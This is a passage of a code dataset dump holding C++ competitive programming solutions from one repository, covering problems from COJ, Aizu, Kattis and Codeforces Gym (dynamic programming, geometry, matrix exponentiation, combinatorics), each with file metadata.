{\r\n\tif (cur > need) {\r\n\t\treturn false;\r\n\t}\r\n\tif (pos == n) {\r\n\t\treturn (cur == need);\r\n\t}\r\n\tif (solved[pos][cur]) {\r\n\t\treturn good[pos][cur];\r\n\t}\r\n\tsolved[pos][cur] = true;\r\n\tif (dfs(pos + 1, cur + (s[pos] != '0'))) {\r\n\t\tgood[pos][cur] = true;\r\n\t\tvalue[pos][cur] = '0';\r\n\t\treturn true;\r\n\t}\r\n\tif (dfs(pos + 1, cur + (s[pos] != '1'))) {\r\n\t\tgood[pos][cur] = true;\r\n\t\tvalue[pos][cur] = '1';\r\n\t\treturn true;\r\n\t}\r\n\tgood[pos][cur] = false;\r\n\treturn false;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> t;\r\n\tfor (int c = 1; c <= t; c++) {\r\n\t\tcin >> s >> need;\r\n\t\tn = s.size();\r\n\t\tfor (int i = 0; i <= n; i++) {\r\n\t\t\tfor (int j = 0; j <= need; j++) {\r\n\t\t\t\tsolved[i][j] = false;\r\n\t\t\t}\r\n\t\t}\r\n\t\tassert(dfs(0, 0));\r\n\t\tstring ans;\r\n\t\tint d = 0;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tans += value[i][d];\r\n\t\t\td += (value[i][d] != s[i]);\r\n\t\t}\r\n\t\tcout << \"Case #\" << c << \": \" << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3834688365459442, "alphanum_fraction": 0.40785908699035645, "avg_line_length": 16.450000762939453, "blob_id": "df10e2fe87ba092b85b6b3c0ba94ed2d98eee791", "content_id": "c49826f91a64df292cac42087b8ae391156deb16", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 738, "license_type": "no_license", "max_line_length": 73, "num_lines": 40, "path": "/COJ/eliogovea-cojAC/eliogovea-p3094-Accepted-s763493.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1000000;\r\n\r\nlong long n, m, a[N + 5], b[N + 5], cnt[N + 5], used[N + 5], cdiv[N + 5];\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n\tcin >> n >> m;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> a[i];\r\n\t}\r\n\tfor (int i = 0; i < m; i++) {\r\n\t\tcin >> b[i];\r\n\t\tcnt[b[i]]++;\r\n\t}\r\n\tfor (int i = 0; i < m; i++) {\r\n\t\tif (used[b[i]]) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tused[b[i]] = true;\r\n\t\tfor (int j = b[i] + b[i]; j <= N; j += b[i]) {\r\n\t\t\tcdiv[j] += cnt[b[i]];\r\n\t\t}\r\n\t}\r\n\tlong long x = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tx += cdiv[a[i]];\r\n\t}\r\n\tlong long y = n * m;\r\n\tlong long g = __gcd(x, y);\r\n\tx /= g;\r\n\ty /= g;\r\n\tcout << x << \"/\" << y << \"\\n\";\r\n\r\n}\r\n" }, { "alpha_fraction": 0.33917051553726196, "alphanum_fraction": 0.3769585192203522, "avg_line_length": 20.60416603088379, "blob_id": "1166d907210a812ea28628c759806e3b0b17cae2", "content_id": "988f84908f1b1ecc7e04a63a3438cd001322d6a1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1085, "license_type": "no_license", "max_line_length": 78, "num_lines": 48, "path": "/COJ/eliogovea-cojAC/eliogovea-p2855-Accepted-s677809.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\r\n// Name : 2855.cpp\r\n// Author : eliogovea\r\n// Version :\r\n// Copyright : \r\n// Description : Hello World in C++, Ansi-style\r\n//============================================================================\r\n\r\n#include <iostream>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nLL f[15], d[15];\r\nstring s;\r\n\r\nLL calc() {\r\n\tLL size = 0LL;\r\n\tfor (int i = 0; i < 10; i++) size += d[i];\r\n\tLL per = f[size];\r\n\tfor (int i = 0; i < 10; i++) per /= f[d[i]];\r\n\tLL sum = 0;\r\n\tfor (LL i = 0; i < 10; i++)\r\n\t\tsum += i * per * d[i] / size;\r\n\tLL ret = 0LL;\r\n\tfor (int i = 0; i < size; i++)\r\n\t\tret = 10LL * ret + sum;\r\n\treturn ret;\r\n}\r\n\r\nint main() {\r\n\tf[0] = 1;\r\n\tfor (LL i = 1; i <= 11; i++) f[i] = i * f[i - 1];\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.tie(0);\r\n\twhile (cin >> s && s[0] != '0') {\r\n\t\tfor (int i = 0; i < 10; i++) d[i] = 0;\r\n\t\tfor (int i = 0; s[i]; i++) d[s[i] - '0']++;\r\n\t\tLL ans = calc();\r\n\t\tif (d[0]) {\r\n\t\t\td[0]--;\r\n\t\t\tans -= calc();\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.2518518567085266, "alphanum_fraction": 0.25740739703178406, "avg_line_length": 15.419354438781738, "blob_id": "74a2f332a1ff545d421e677e0643f2da08dcbfad", "content_id": "941bb975aee689127af20ed9794a7b1120c52310", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 540, "license_type": "no_license", "max_line_length": 31, "num_lines": 31, "path": "/COJ/eliogovea-cojAC/eliogovea-p2563-Accepted-s511150.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nstring a;\r\n\r\nint main()\r\n{\r\n while(getline(cin,a))\r\n {\r\n int l=a.size();\r\n int c=0;\r\n for(int i=0; i<l; i++)\r\n {\r\n if(a[i]=='#')\r\n {\r\n c++;\r\n i++;\r\n continue;\r\n }\r\n if(a[i]=='@')\r\n {\r\n c--;\r\n i++;\r\n continue;\r\n }\r\n if(!c)cout << a[i];\r\n }\r\n cout << endl;\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3712121248245239, "alphanum_fraction": 0.3888888955116272, "avg_line_length": 20.628570556640625, "blob_id": "eba725bb0f96ab090be1eed46ce6423ffb099840", "content_id": "af53082a8c0bbd259083e761bccdf98c420657b9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 792, "license_type": "no_license", "max_line_length": 78, "num_lines": 35, "path": "/COJ/eliogovea-cojAC/eliogovea-p1863-Accepted-s666546.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\r\n// Name : 1863.cpp\r\n// Author : eliogovea\r\n// Version :\r\n// Copyright : \r\n// Description :\r\n//============================================================================\r\n\r\n#include <iostream>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nLL N, B, ans;\r\npair<LL, LL> C[100005];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\tcin >> N >> B;\r\n\tfor (int i = 0; i < N; i++)\r\n\t\tcin >> C[i].first >> C[i].second;\r\n\tsort(C, C + N);\r\n\tfor (int i = 0; i < N; i++)\r\n\t\tif (B / C[i].first >= C[i].second) {\r\n\t\t\tB -= C[i].first * C[i].second;\r\n\t\t\tans += C[i].second;\r\n\t\t} else {\r\n\t\t\tans += B / C[i].first;\r\n\t\t\tbreak;\r\n\t\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.5691428780555725, "alphanum_fraction": 0.5785714387893677, "avg_line_length": 20.868749618530273, "blob_id": "b41698d7ed54d7b2c75c2900de8ac088508b48c2", "content_id": "aea52b4a8e4708a4fe29df316e92b9d3eee69583", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3500, "license_type": "no_license", "max_line_length": 98, "num_lines": 160, "path": "/Aizu/CGL_2_D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "/*\n\tGeometry Template\n\tdouble !!!\n\tTODO: test everything!!!\n*/\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst double INF = 1e17;\nconst double EPS = 1e-9;\nconst double PI = 2.0 * asin(1);\n\ninline bool is_in(double a, double b, double x) {\n\tif (a > b) {\n\t\tswap(a, b);\n\t}\n\treturn (a - EPS <= x && x <= b + EPS);\n}\n\nstruct point {\n\tdouble x, y;\n\tpoint() {}\n\tpoint(double _x, double _y) : x(_x), y(_y) {}\n};\n\nbool operator < (const point &P, const point &Q) {\n\tif (abs(P.y - Q.y) > EPS) {\n\t\treturn P.y < Q.y;\n\t}\n\tif (abs(P.x - Q.x) > EPS) {\n\t\treturn P.x < Q.x;\n\t}\n\treturn false;\n}\n\nstruct compare_by_x {\n\tbool operator () (const point &P, const point &Q) {\n\t\tif (abs(P.x - Q.x) > EPS) {\n\t\t\treturn P.x < Q.x;\n\t\t}\n\t\treturn P.y < Q.y;\n\t}\n};\n\nstruct compare_by_y {\n\tbool operator () (const point &P, const point &Q) {\n\t\tif (abs(P.y - Q.y) > EPS) {\n\t\t\treturn P.y < Q.y;\n\t\t}\n\t\treturn P.x < Q.x;\n\t}\n};\ninline void read(point &P) {\n\tcin >> P.x >> P.y;\n}\n\npoint operator + (const point &P, const point &Q) {\n\treturn point(P.x + Q.x, P.y + Q.y);\n}\n\npoint operator - (const point &P, const point &Q) {\n\treturn point(P.x - Q.x, P.y - Q.y);\n}\n\npoint operator * (const point &P, const double k) {\n\treturn point(P.x * k, P.y * k);\n}\n\npoint operator / (const point &P, const double k) {\n\tassert(fabs(k) > EPS);\n\treturn point(P.x / k, P.y / k);\n}\n\ninline double dot(const point &P, const point &Q) {\n\treturn P.x * Q.x + P.y * Q.y;\n}\n\ninline double cross(const point &P, const point &Q) {\n\treturn P.x * Q.y - P.y * Q.x;\n}\n\ninline double norm2(const point &P) {\n\treturn dot(P, P);\n}\n\ninline double norm(const point &P) {\n\treturn sqrt(dot(P, P));\n}\n\ninline double dist2(const point &P, const point &Q) {\n\treturn norm2(P - Q);\n}\n\ninline double dist(const point &P, const point &Q) {\n\treturn sqrt(dot(P - Q, P - Q));\n}\n\n// returns true if P belongs in segment AB\ninline bool is_in(point A, point B, point P) {\n\tif (abs(cross(B - A, P - A)) > EPS) {\n\t\treturn false;\n\t}\n\treturn (is_in(A.x, B.x, P.x) && is_in(A.y, B.y, P.y));\n}\n\n\ninline point project(const point &P, const point &P1, const point &P2) {\n\treturn P1 + (P2 - P1) * (dot(P2 - P1, P - P1) / norm2(P2 - P1));\n}\n\ninline point reflect(const point &P, const point &P1, const point &P2) {\n\treturn project(P, P1, P2) * 2.0 - P;\n}\n\ninline double point_to_line(const point &P, const point &A, const point &B) {\n\t// return abs(cross(B - A, C - A) / norm(B - A));\n\treturn dist(P, project(P, A, B));\n}\n\ninline double point_to_segment(const point &P, const point &A, const point &B) {\n\tpoint PP = project(P, A, B);\n\tif (is_in(A, B, PP)) {\n\t\treturn dist(P, PP);\n\t}\n\treturn min(dist(P, A), dist(P, B));\n}\n\n// line to line intersection\n// A, B difine the first line\n// C, D define the second line\ninline point intersect(const point &A, const point &B, const point &C, const point &D) {\n\treturn A + (B - A) * (cross(C - A, C - D) / cross(B - A, C - D));\n}\n\ninline double segment_to_segment(const point &A, const point &B, const point &C, const point &D) {\n\tpoint I = intersect(A, B, C, D);\n\tif (is_in(A, B, I) && is_in(C, D, I)) {\n\t\treturn 0.0;\n\t}\n\treturn min(min(point_to_segment(A, C, D), point_to_segment(B, C, D)),\n\t\t\t\t\t\t min(point_to_segment(C, A, B), point_to_segment(D, A, B)));\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcout.precision(10);\n\n\tint q;\n\tcin >> q;\n\n\twhile (q--) {\n\t\tpoint A, B, C, D;\n\t\tcin >> A.x >> A.y >> B.x >> B.y >> C.x >> C.y >> D.x >> D.y;\n\t\tdouble answer = segment_to_segment(A, B, C, D);\n\t\tcout << fixed << answer << \"\\n\";\n\t}\n}\n\n" }, { "alpha_fraction": 0.43015214800834656, "alphanum_fraction": 0.45504841208457947, "avg_line_length": 15.851851463317871, "blob_id": "375a4d21414b407e8cff7c5243b3ab27f3a69662", "content_id": "f6ba9c2431062fa7a3ce624f1b6985f6eb80fdd0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1446, "license_type": "no_license", "max_line_length": 63, "num_lines": 81, "path": "/COJ/eliogovea-cojAC/eliogovea-p3670-Accepted-s959373.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000000007;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\nconst int MAXSIZE = 105;\r\n\r\nstruct matrix {\r\n\tint size;\r\n\tint values[MAXSIZE][MAXSIZE];\r\n\tmatrix(int _size, int v0) {\r\n\t\tsize = _size;\r\n\t\tfor (int i = 0; i < size; i++) {\r\n\t\t\tfor (int j = 0; j < size; j++) {\r\n\t\t\t\tvalues[i][j] = 0;\r\n\t\t\t}\r\n\t\t\tvalues[i][i] = v0;\r\n\t\t}\r\n\t}\r\n};\r\n\r\nmatrix operator * (const matrix &a, const matrix &b) {\r\n\tint n = a.size;\r\n\tassert(a.size == b.size);\r\n\tmatrix res(n, 0);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\tfor (int k = 0; k < n; k++) {\r\n\t\t\t\tadd(res.values[i][j], mul(a.values[i][k], b.values[k][j]));\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nmatrix power(matrix x, int n) {\r\n\tmatrix res(x.size, 1);\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = res * x;\r\n\t\t}\r\n\t\tx = x * x;\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tint n, l, m;\r\n\tcin >> n >> l >> m;\r\n\tmatrix M(n, 0);\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tfor (int j = max(1, i - m); j <= min(n, i + m); j++) {\r\n\t\t\tM.values[i - 1][j - 1] = 1;\r\n\t\t}\r\n\t}\r\n\tM = power(M, l - 1);\r\n\r\n\tint ans = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\tadd(ans, M.values[i][j]);\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.28897714614868164, "alphanum_fraction": 0.37338629364967346, "avg_line_length": 17.365385055541992, "blob_id": "28c8ee3b17ef757ef8c234a2e34ad44a35be47e8", "content_id": "c3a6cf1a7f7fbe38938a2052038c8a1b362bcfc2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1007, "license_type": "no_license", "max_line_length": 62, "num_lines": 52, "path": "/COJ/eliogovea-cojAC/eliogovea-p3788-Accepted-s1120085.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 10 * 1000;\r\n\r\nconst int V[4][4] = {\r\n\t{1, 8, 4, 3},\r\n\t{0, 4, 7, 7},\r\n\t{0, 5, 6, 6},\r\n\t{0, 9, 1, 0}\r\n};\r\n\r\nconst int LN = 64;\r\n\r\nint go[LN + 1][N + 1];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t\r\n\tfor (int x = 0; x < N; x++) {\r\n\t\tint v[] = {x / 1000, (x / 100) % 10, (x / 10) % 10, x % 10};\r\n\t\tint nv[] = {0, 0, 0, 0};\r\n\t\tfor (int i = 0; i < 4; i++) {\r\n\t\t\tfor (int j = 0; j < 4; j++) {\r\n\t\t\t\tnv[i] = (nv[i] + V[i][j] * v[j]) % 10;\r\n\t\t\t}\r\n\t\t}\r\n\t\tgo[0][x] = 1000 * nv[0] + 100 * nv[1] + 10 * nv[2] + nv[3];\r\n\t}\r\n\tfor (int i = 1; i < LN; i++) {\r\n\t\tfor (int x = 0; x < N; x++) {\r\n\t\t\tgo[i][x] = go[i - 1][go[i - 1][x]];\r\n\t\t}\r\n\t}\r\n\t\r\n\tint t;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tunsigned long long n;\r\n\t\tint a, b, c;\r\n\t\tcin >> n >> a >> b >> c;\r\n\t\tint cur = 100 * a + 10 * b + c;\r\n\t\tfor (int i = 0; i < LN && (1ULL << i) <= n; i++) {\r\n\t\t\tif (n & (1ULL << i)) {\r\n\t\t\t\tcur = go[i][cur];\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << cur / 1000 << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3977086842060089, "alphanum_fraction": 0.4386252164840698, "avg_line_length": 22.360000610351562, "blob_id": "e5922b630f4312adf5c32d7fa06170a8f2892b7e", "content_id": "d41280d562f8fc8de58b3d8cdf141e60b0b61471", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 611, "license_type": "no_license", "max_line_length": 65, "num_lines": 25, "path": "/COJ/eliogovea-cojAC/eliogovea-p2587-Accepted-s603884.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n\r\ntypedef long long ll;\r\n\r\nconst ll mod = 1000000007, MAXN = 2010;\r\n\r\nint n;\r\nll c[MAXN][MAXN], f[MAXN], sol;\r\n\r\nll cmb(int n, int p) {\r\n\tif (p > n - p) p = n - p;\r\n\tif (p == 0) return 1;\r\n\tif (c[n][p]) return c[n][p];\r\n\treturn c[n][p] = (cmb(n - 1, p - 1) + cmb(n - 1, p)) % mod;\r\n}\r\n\r\nint main() {\r\n\tscanf(\"%d\", &n);\r\n\tf[0] = 1ll;\r\n\tfor (int i = 1; i <= n; i++) f[i] = (f[i - 1] * (ll)i) % mod;\r\n\tfor (int i = 0; i <= n; i++)\r\n\t\tif (!(i & 1)) sol = (sol + (cmb(n, i) * f[n - i]) % mod) % mod;\r\n\t\telse sol = (sol - ((cmb(n, i) * f[n - i]) % mod) + mod) % mod;\r\n\tprintf(\"%lld\\n\", sol);\r\n}\r\n\r\n" }, { "alpha_fraction": 0.41747573018074036, "alphanum_fraction": 0.45145630836486816, "avg_line_length": 23.75, "blob_id": "85ded2c1fbf456521a143d1714acf6e6ac68f5c8", "content_id": "3f7b46b391a5be74b7da2072bddc4d805db57822", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 206, "license_type": "no_license", "max_line_length": 126, "num_lines": 8, "path": "/COJ/eliogovea-cojAC/eliogovea-p2852-Accepted-s617709.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\nusing namespace std;\r\n\r\nlong long n;\r\n\r\nint main() {\r\n while (cin >> n && n) cout << 6ll * n * n << \" \" << 3ll * n * (n + 1ll) + 1ll << \" \" << 3ll * n * (3ll * n + 1ll) << endl;\r\n}\r\n" }, { "alpha_fraction": 0.3485221564769745, "alphanum_fraction": 0.37561577558517456, "avg_line_length": 19.820512771606445, "blob_id": "65fd119d6f49d8bd91d5d450f7c92ae33620cd8c", "content_id": "2c3cfe36457cc1ae3ac6c1fa5cf572c32336dafe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 812, "license_type": "no_license", "max_line_length": 68, "num_lines": 39, "path": "/Codeforces-Gym/101606 - 2017 United Kingdom and Ireland Programming Contest (UKIEPC 2017)/D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017 United Kingdom and Ireland Programming Contest (UKIEPC 2017)\n// 101606D\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen( \"dat.txt\", \"r\", stdin );\n\n string a;\n cin >> a;\n string b = a;\n sort(b.begin(), b.end());\n\n vector <int> l;\n vector <int> r;\n\n int n = a.size();\n for (int i = 0; i < n; i++) {\n if (a[i] != b[i]) {\n for (int j = i + 1; j < n; j++) {\n if (a[j] == b[i]) {\n l.push_back(j + 1);\n r.push_back(i + 1);\n swap(a[i], a[j]);\n break;\n }\n }\n }\n }\n\n for (int i = ((int)l.size()) - 1; i >= 0; i--) {\n cout << l[i] << \" \" << r[i] << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.4674556255340576, "alphanum_fraction": 0.5029585957527161, "avg_line_length": 13.363636016845703, "blob_id": "4e8c2e62e9fd675c83d76bac3b1ae394cad1fb84", "content_id": "e6bbdd75bc5ccac58f891bf98712c91944600860", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 169, "license_type": "no_license", "max_line_length": 51, "num_lines": 11, "path": "/COJ/eliogovea-cojAC/eliogovea-p2629-Accepted-s530869.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n\r\ndouble d;\r\n\r\nint main()\r\n{\r\n while(scanf(\"%lf\",&d)!=EOF)\r\n printf(\"%.3lf\\n\",d*d*(M_PI-sqrt(3.0))/8.0);\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.4077287018299103, "alphanum_fraction": 0.42744478583335876, "avg_line_length": 15.85915470123291, "blob_id": "4f0c892b79aa56d7866ecd4974dbd33fdbb4fc5c", "content_id": "fdf3bd21a1a4c4b92c18cf38404d03991cba3c46", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1268, "license_type": "no_license", "max_line_length": 72, "num_lines": 71, "path": "/COJ/eliogovea-cojAC/eliogovea-p3687-Accepted-s1123259.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000000007;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\ninline vector <int> conv(const vector <int> &a, const vector <int> &b) {\r\n\tint n = a.size();\r\n\tvector <int> res(n);\r\n\tfor (int i = 0; i < a.size(); i++) {\r\n\t\tfor (int j = 0; j < b.size(); j++) {\r\n\t\t\tadd(res[i + j >= n ? i + j - n : i + j], mul(a[i], b[j]));\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\ninline vector <int> power(vector <int> x, long long n) {\r\n\tvector <int> res(x.size()); res[0] = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = conv(res, x);\r\n\t\t}\r\n\t\tx = conv(x, x);\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tint t;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tint n, r;\r\n\t\tlong long k;\r\n\t\tcin >> n >> k >> r;\r\n\t\tvector <int> a(n);\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> a[i];\r\n\t\t}\r\n\t\tvector <int> x(n);\r\n\t\tx[0] = 1;\r\n\t\tx[1] = r;\r\n\t\tx = power(x, k);\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tint v = 0;\r\n\t\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\t\tadd(v, mul(a[i + j >= n ? i + j - n : i + j], x[j]));\r\n\t\t\t}\r\n\t\t\tcout << v;\r\n\t\t\tif (i + 1 < n) {\r\n\t\t\t\tcout << \" \";\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3699551522731781, "alphanum_fraction": 0.39461883902549744, "avg_line_length": 17.114286422729492, "blob_id": "8c9e664cd9e75351f9a159d58c3af3f2ee0fd62d", "content_id": "e856f0f179fc42a7715b48d5fa37ae6604a92e9c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1338, "license_type": "no_license", "max_line_length": 57, "num_lines": 70, "path": "/Kattis/ninepacks.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\r\n\tint h;\r\n\tcin >> h;\r\n\tvector <int> vh(h);\r\n\tvector <int> sumh(h + 1);\r\n\tfor (int i = 0; i < h; i++) {\r\n\t\tcin >> vh[i];\r\n\t\tsumh[i + 1] = sumh[i] + vh[i];\r\n\t}\r\n\r\n\tint b;\r\n\tcin >> b;\r\n\tvector <int> vb(b);\r\n\tvector <int> sumb(b + 1);\r\n\tfor (int i = 0; i < b; i++) {\r\n\t\tcin >> vb[i];\r\n\t\tsumb[i + 1] = sumb[i] + vb[i];\r\n\t}\r\n\r\n\tvector <int> dph(sumh[h] + 1, -1);\r\n\r\n\tdph[0] = 0;\r\n\r\n\tfor (int i = 0; i < h; i++) {\r\n\t\tfor (int j = sumh[i + 1]; j >= vh[i]; j--) {\r\n\t\t\tif (dph[j - vh[i]] != -1) {\r\n\t\t\t\tif (dph[j] == -1 || dph[j] > dph[j - vh[i]] + 1) {\r\n\t\t\t\t\tdph[j] = dph[j - vh[i]] + 1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tvector <int> dpb(sumb[b] + 1, -1);\r\n\tdpb[0] = 0;\r\n\r\n\tfor (int i = 0; i < b; i++) {\r\n\t\tfor (int j = sumb[i + 1]; j >= vb[i]; j--) {\r\n\t\t\tif (dpb[j - vb[i]] != -1) {\r\n\t\t\t\tif (dpb[j] == -1 || dpb[j] > dpb[j - vb[i]] + 1) {\r\n\t\t\t\t\tdpb[j] = dpb[j - vb[i]] + 1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tint ans = -1;\r\n\tfor (int sum = 1; sum <= min(sumh[h], sumb[b]); sum++) {\r\n\t\tif (dph[sum] != -1 && dpb[sum] != -1) {\r\n\t\t\tif (ans == -1 || ans > dph[sum] + dpb[sum]) {\r\n\t\t\t\tans = dph[sum] + dpb[sum];\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tif (ans == -1) {\r\n\t\tcout << \"impossible\\n\";\r\n\t} else {\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.35893648862838745, "alphanum_fraction": 0.4268833100795746, "avg_line_length": 19.838708877563477, "blob_id": "9744153c039830502b9abc20ea8c23dec1fd2c7b", "content_id": "3a925a20f39b625e703b582673e3d4f98e0a0a90", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 677, "license_type": "no_license", "max_line_length": 59, "num_lines": 31, "path": "/COJ/eliogovea-cojAC/eliogovea-p2602-Accepted-s514955.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n\r\nint cas,n;\r\ndouble p[10000][2],per,k,r;\r\n\r\ndouble dist(double x1, double x2, double y1, double y2)\r\n{\r\n return sqrt((x1-x2)*(x1-x2)+(y1-y2)*(y1-y2));\r\n}\r\n\r\nint main()\r\n{\r\n for(scanf(\"%d\",&cas);cas--;)\r\n {\r\n scanf(\"%lf%d\",&r,&n);\r\n for(int i=0; i<n; i++)\r\n scanf(\"%lf%lf\",&p[i][0],&p[i][1]);\r\n\r\n per=dist(p[0][0],p[n-1][0],p[0][1],p[n-1][1]);\r\n for(int i=1; i<n; i++)\r\n per+=dist(p[i][0],p[i-1][0],p[i][1],p[i-1][1]);\r\n\r\n k=1.0-2.0*M_PI*r/per;\r\n\r\n if(k>0.0 && k<=1.0)\r\n printf(\"%.6lf\\n\",k);\r\n else printf(\"Not possible\\n\");\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3427477180957794, "alphanum_fraction": 0.36668261885643005, "avg_line_length": 17.324562072753906, "blob_id": "89a22c7355979c9a861199104d8d17dfc34a00ca", "content_id": "3a11ad6caac137aacc0848df0bd5f306fc827ef5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2089, "license_type": "no_license", "max_line_length": 54, "num_lines": 114, "path": "/Codeforces-Gym/100735 - KTU Programming Camp (Day 1)/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// KTU Programming Camp (Day 1)\n// 100735B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nconst LL MOD = 1000000009;\n\ninline void add(LL &a, LL b) {\n a += b;\n if (a >= MOD) {\n a 